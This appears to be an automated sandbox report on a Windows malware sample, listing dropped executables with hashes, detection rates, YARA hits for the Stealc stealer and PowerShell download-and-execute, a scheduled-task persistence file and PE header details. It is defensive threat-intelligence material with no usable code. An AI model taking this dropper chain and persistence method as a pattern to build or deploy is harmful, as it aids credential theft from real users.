Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2958848
Entropy (8bit):	6.496922825902717
Encrypted:	false
SSDEEP:	49152:HNu5Z8Odal3b4BhgrjpugshTKSAoKfATxY:tuUOd43b4BmrYgsjKfx
MD5:	15B9109C23747163A74018275BB88207
SHA1:	CEA893C4F10A63A3798AF5C824742AD39E361A66
SHA-256:	7DC80D87936E8912142CBB6E9B30161785C4A6BF06E81675A60E2E923E4D0FEF
SHA-512:	59EA1B395E7FFD89910ECAADFE8A57989B9D2F6C2874BE236F984747D9DA797EC1C3CC159921EC4AB4E6B2269FFB78FD11DBBDB61B262D41D6DE17A8FB1C6B65
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0......D-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...wkslfpnx...........p..............@...dfiorjat......0.......,.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584680505758174
Encrypted:	false
SSDEEP:	12288:IqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tj:IqDEvCTbMWu7rQYlBQcBiT6rprG8abj
MD5:	7EA91224428255E089E5B84037C38978
SHA1:	45D4D6A4B7EABE159FCD1DF6F8160BF0D0ACD950
SHA-256:	677E5857004D48CEF3C7D7FB40F290CE699ABE70AD4F96A9BCFADEEFBADD00E8
SHA-512:	16184B5F5D5C3C1A2465EC4CBF10A470F3864F06A110BDF71811DEEFE035ADF83A5D6C194A2E0E69A8C91DD0AFB5AB299C6831A16991883A9B3ADAA0D7AC9372
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`.......~....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2958848
Entropy (8bit):	6.496922825902717
Encrypted:	false
SSDEEP:	49152:HNu5Z8Odal3b4BhgrjpugshTKSAoKfATxY:tuUOd43b4BmrYgsjKfx
MD5:	15B9109C23747163A74018275BB88207
SHA1:	CEA893C4F10A63A3798AF5C824742AD39E361A66
SHA-256:	7DC80D87936E8912142CBB6E9B30161785C4A6BF06E81675A60E2E923E4D0FEF
SHA-512:	59EA1B395E7FFD89910ECAADFE8A57989B9D2F6C2874BE236F984747D9DA797EC1C3CC159921EC4AB4E6B2269FFB78FD11DBBDB61B262D41D6DE17A8FB1C6B65
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0......D-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...wkslfpnx...........p..............@...dfiorjat......0.......,.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854464
Entropy (8bit):	7.947723498064361
Encrypted:	false
SSDEEP:	49152:QaWIelCd4Q3JYPh9rF4w5vt8J/UmG3WQh7X4:QaWIec3CHiwZqJ/IWqL
MD5:	C4D992E32DABD4723370D920A842D759
SHA1:	E2BA688CB7D4A7C88C964EC875E62529D63057C7
SHA-256:	FC379207EC04489AB7610663A20EFA6827C0FF39C842335048FCCC15F202C447
SHA-512:	EC911F4AE4534824E15A584CCD1C181270640E2B8367A6F59BF0F49FCE158DE0A1E4EB60ABB10EDCD7A3BD0E7E86C84D44AF5D90F925D4AD7C77448658B5D5F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0j...........@..........................`j......"....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P...%......:..............@...wyvqzkuk.....0P......<..............@...kejrglww..... j......&..............@....taggant.0...0j..".................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584680505758174
Encrypted:	false
SSDEEP:	12288:IqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tj:IqDEvCTbMWu7rQYlBQcBiT6rprG8abj
MD5:	7EA91224428255E089E5B84037C38978
SHA1:	45D4D6A4B7EABE159FCD1DF6F8160BF0D0ACD950
SHA-256:	677E5857004D48CEF3C7D7FB40F290CE699ABE70AD4F96A9BCFADEEFBADD00E8
SHA-512:	16184B5F5D5C3C1A2465EC4CBF10A470F3864F06A110BDF71811DEEFE035ADF83A5D6C194A2E0E69A8C91DD0AFB5AB299C6831A16991883A9B3ADAA0D7AC9372
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`.......~....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001141001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2822656
Entropy (8bit):	6.455651898471788
Encrypted:	false
SSDEEP:	49152:CXdnozF4fcdVFxUD/6P8C7IHyZncjdEfvrjsCy:CXdnozF4QVLUj6PiSZncj+7YP
MD5:	4BD307F7BA3EDB7861982A41D1488AA8
SHA1:	DD12A6FB4A77A0CED445AF9DB310F838EB750E9D
SHA-256:	8B0FEBD7DEA828485630A5A2C2E4E027604CAD8D4392E30855F182788D69DF9E
SHA-512:	F1FC9F904E611D1837DF8BF07763DF773B613C306438102167E9AA49C4A32ABAEF6054E39AB94788DB2B09EFC1F23DEF6C1977FBCA368B89FFDE4E5734551CF4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mjjuywzq...........:..............@...kuccapjc. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950548930689751
Encrypted:	false
SSDEEP:	49152:PA9ScXe99fdXPo/hjwBL/3kcaCYhG9DHh:q49fdXPogb3BZjLh
MD5:	EF5F7A438E05696F2DC5D31889BAF216
SHA1:	BF479BD3BC812AAB162CFFACFC0F6CCA2A2A4465
SHA-256:	06AF68238C1208F7FDD77269E3E8E610B9D5E9FD42CA680FDC03917495E707CB
SHA-512:	6597561D90BEE2DC09A3BFEE6A9E94D6E86F38DA0DE29188961C71961887B6818E8322A2E4CF4961A919F663D43E2C0EBD1B55AC380A09BAFDD954BFD86C1AAD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...sygcicsm......1.....................@...gyxlqsfm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950548930689751
Encrypted:	false
SSDEEP:	49152:PA9ScXe99fdXPo/hjwBL/3kcaCYhG9DHh:q49fdXPogb3BZjLh
MD5:	EF5F7A438E05696F2DC5D31889BAF216
SHA1:	BF479BD3BC812AAB162CFFACFC0F6CCA2A2A4465
SHA-256:	06AF68238C1208F7FDD77269E3E8E610B9D5E9FD42CA680FDC03917495E707CB
SHA-512:	6597561D90BEE2DC09A3BFEE6A9E94D6E86F38DA0DE29188961C71961887B6818E8322A2E4CF4961A919F663D43E2C0EBD1B55AC380A09BAFDD954BFD86C1AAD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...sygcicsm......1.....................@...gyxlqsfm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854464
Entropy (8bit):	7.947723498064361
Encrypted:	false
SSDEEP:	49152:QaWIelCd4Q3JYPh9rF4w5vt8J/UmG3WQh7X4:QaWIec3CHiwZqJ/IWqL
MD5:	C4D992E32DABD4723370D920A842D759
SHA1:	E2BA688CB7D4A7C88C964EC875E62529D63057C7
SHA-256:	FC379207EC04489AB7610663A20EFA6827C0FF39C842335048FCCC15F202C447
SHA-512:	EC911F4AE4534824E15A584CCD1C181270640E2B8367A6F59BF0F49FCE158DE0A1E4EB60ABB10EDCD7A3BD0E7E86C84D44AF5D90F925D4AD7C77448658B5D5F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0j...........@..........................`j......"....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P...%......:..............@...wyvqzkuk.....0P......<..............@...kejrglww..... j......&..............@....taggant.0...0j..".................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2822656
Entropy (8bit):	6.455651898471788
Encrypted:	false
SSDEEP:	49152:CXdnozF4fcdVFxUD/6P8C7IHyZncjdEfvrjsCy:CXdnozF4QVLUj6PiSZncj+7YP
MD5:	4BD307F7BA3EDB7861982A41D1488AA8
SHA1:	DD12A6FB4A77A0CED445AF9DB310F838EB750E9D
SHA-256:	8B0FEBD7DEA828485630A5A2C2E4E027604CAD8D4392E30855F182788D69DF9E
SHA-512:	F1FC9F904E611D1837DF8BF07763DF773B613C306438102167E9AA49C4A32ABAEF6054E39AB94788DB2B09EFC1F23DEF6C1977FBCA368B89FFDE4E5734551CF4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mjjuywzq...........:..............@...kuccapjc. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854464
Entropy (8bit):	7.947723498064361
Encrypted:	false
SSDEEP:	49152:QaWIelCd4Q3JYPh9rF4w5vt8J/UmG3WQh7X4:QaWIec3CHiwZqJ/IWqL
MD5:	C4D992E32DABD4723370D920A842D759
SHA1:	E2BA688CB7D4A7C88C964EC875E62529D63057C7
SHA-256:	FC379207EC04489AB7610663A20EFA6827C0FF39C842335048FCCC15F202C447
SHA-512:	EC911F4AE4534824E15A584CCD1C181270640E2B8367A6F59BF0F49FCE158DE0A1E4EB60ABB10EDCD7A3BD0E7E86C84D44AF5D90F925D4AD7C77448658B5D5F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0j...........@..........................`j......"....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P...%......:..............@...wyvqzkuk.....0P......<..............@...kejrglww..... j......&..............@....taggant.0...0j..".................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950548930689751
Encrypted:	false
SSDEEP:	49152:PA9ScXe99fdXPo/hjwBL/3kcaCYhG9DHh:q49fdXPogb3BZjLh
MD5:	EF5F7A438E05696F2DC5D31889BAF216
SHA1:	BF479BD3BC812AAB162CFFACFC0F6CCA2A2A4465
SHA-256:	06AF68238C1208F7FDD77269E3E8E610B9D5E9FD42CA680FDC03917495E707CB
SHA-512:	6597561D90BEE2DC09A3BFEE6A9E94D6E86F38DA0DE29188961C71961887B6818E8322A2E4CF4961A919F663D43E2C0EBD1B55AC380A09BAFDD954BFD86C1AAD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...sygcicsm......1.....................@...gyxlqsfm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10546
Entropy (8bit):	5.496009767623116
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6PLZNMGaXU6qU4rzy+/3/OYiNBw827Sl:LCeCFNMr4yrdw50
MD5:	2D0C00BA47A814257F0744429DF0BAC7
SHA1:	739B76F9296F009C654472E4835CB980C1EA78BA
SHA-256:	ECB4DD19DA7DCB53993247C0FF2EF29A68FC2DEEA669299F47DC38579A9F33ED
SHA-512:	492023168B44B09ED0FD5CB6DEC4B94FC0FAD7D03C1D23A2E7164505A5DEA720705E45EFB99B6A571FD06D64BB22172FD6E1A542F5EF9BE3CF482CD1DEB91088
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10546
Entropy (8bit):	5.496009767623116
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6PLZNMGaXU6qU4rzy+/3/OYiNBw827Sl:LCeCFNMr4yrdw50
MD5:	2D0C00BA47A814257F0744429DF0BAC7
SHA1:	739B76F9296F009C654472E4835CB980C1EA78BA
SHA-256:	ECB4DD19DA7DCB53993247C0FF2EF29A68FC2DEEA669299F47DC38579A9F33ED
SHA-512:	492023168B44B09ED0FD5CB6DEC4B94FC0FAD7D03C1D23A2E7164505A5DEA720705E45EFB99B6A571FD06D64BB22172FD6E1A542F5EF9BE3CF482CD1DEB91088
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.441226180880771
Encrypted:	false
SSDEEP:	6:fJPFFIjpXUhXUEZ+lX1CGdKUe6tE9+AQy0lxt0:pFS4Q1CGAFD9+nVxt0
MD5:	F421E9F7A431336B917CF71DC7D283F9
SHA1:	9641242E6FF7495C21FBB297226D9BD624F3178D
SHA-256:	E9B16883F409A4E220F3D527F2E63023AFFD5FD1E251B5E7D827FBC7F8666795
SHA-512:	FDAEE1DD1E98316BC114D856678E9AAED7278197B6FF854CE53C5AE52EE2980D1978B93444280B94141CAC4B2C7966FC6D06CE64BAF60F7F33F1734EF7D809C6
Malicious:	false
Preview:	.....V.S_*.@.... ...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.496922825902717
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'958'848 bytes
MD5:	15b9109c23747163a74018275bb88207
SHA1:	cea893c4f10a63a3798af5c824742ad39e361a66
SHA256:	7dc80d87936e8912142cbb6e9b30161785c4a6bf06e81675a60e2e923e4d0fef
SHA512:	59ea1b395e7ffd89910ecaadfe8a57989b9d2f6c2874be236f984747d9da797ec1c3cc159921ec4ab4e6b2269ffb78fd11dbbdb61b262d41d6de17a8fb1c6b65
SSDEEP:	49152:HNu5Z8Odal3b4BhgrjpugshTKSAoKfATxY:tuUOd43b4BmrYgsjKfx
TLSH:	E7D53A52B815B1CFC88A37789527CE8A695D03FE07144DD7D86DA8BE6EA3CC321B5C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0......D-...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDAD0E5547Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
